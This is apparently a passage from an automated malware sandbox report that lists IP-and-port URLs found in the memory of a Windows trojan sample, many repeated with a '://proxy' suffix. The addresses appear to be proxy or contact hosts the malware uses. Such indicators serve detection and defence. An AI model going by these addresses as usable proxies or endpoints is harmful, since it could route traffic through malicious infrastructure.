Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EEE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.132.52.122:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.132.52.122:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.133.27.143:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.133.27.143:80802
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.133.27.143:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C925D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.134.165.38:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.134.165.38:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.134.38.89:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.134.38.89:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.136.82.252:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.136.82.252:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.111.164:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.111.164:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.111.231:8086
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.111.231:8086://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EA1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.218.161:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.218.161:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.218.166:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.218.166:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.218.166:83x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.218.209:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.218.209:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.91.250:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.137.91.250:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.138.14.123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.138.14.123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.138.70.159:3125
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.138.70.159:3125://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.139.126.230:8083
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.139.126.230:8083://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.139.127.244:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.139.127.244:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF41000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.139.246.166:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.139.246.166:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.14.224.104:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.14.224.104:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6948000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.140.131.107:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.140.131.107:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.140.34.61:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.140.34.61:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.140.35.11:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.140.35.11:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.141.109.143:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.141.109.143:8181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.141.109.143:8181x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.141.109.237:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.141.109.237:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C754E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C755B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.141.247.6:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C754E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.141.247.6:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA8DF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA8E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.143.196.66:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA8E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.143.196.66:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.143.8.126:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.143.8.126:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.143.9.8
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C941A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.143.9.85:8088
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9309000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.143.9.85:8088://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.144.18.137:2002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.144.18.137:2002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78D4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.144.209.104:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.144.209.104:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.145.150.26:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.145.150.26:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.145.45.6:55443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.145.45.6:55443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.146.137.9:1081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.146.137.9:1081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.146.170.193:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.146.170.193:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.146.170.252:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.146.170.252:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.146.185.139:1111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.146.185.139:1111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.146.197.43:4996
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.146.197.43:4996://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C695D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.147.182.36
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C695D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.147.182.36://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C695D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.147.182.36:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.147.246.131:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.147.246.131:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA52D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.147.247.101:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.147.247.101:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.192.82:9012
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.192.82:9012://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.192.83:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.192.83:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.48.97:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.48.97:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.51.19:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.51.19:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCB06000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.57.103:30002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.57.103:30002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.57.103:30007
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.57.103:30007://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.57.103:30009
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.57.103:30009://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78C6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.93.129:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.148.93.129:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.149.130.38
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.149.130.38://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.149.130.38:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB2B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.149.194.11:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.149.194.11:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.149.194.40:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.149.194.40:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.149.194.9:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.149.194.9:32650://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.15.140.121:44759
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.15.140.121:44759://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC57F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.150.93.18:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.150.93.18:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.151.20.131
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.151.20.131://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.151.20.131:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.151.41.7
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.151.41.7://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.151.41.7:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9232000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C923C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.151.47.221:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C923C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.151.47.221:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.152.101.22:1122
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.152.101.22:1122://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.152.112.145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.152.112.145:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.152.112.145x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.152.112.167
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.152.112.167://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.152.112.167:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.152.232.53:8199
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.152.232.53:8199://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.153.135.100:8083
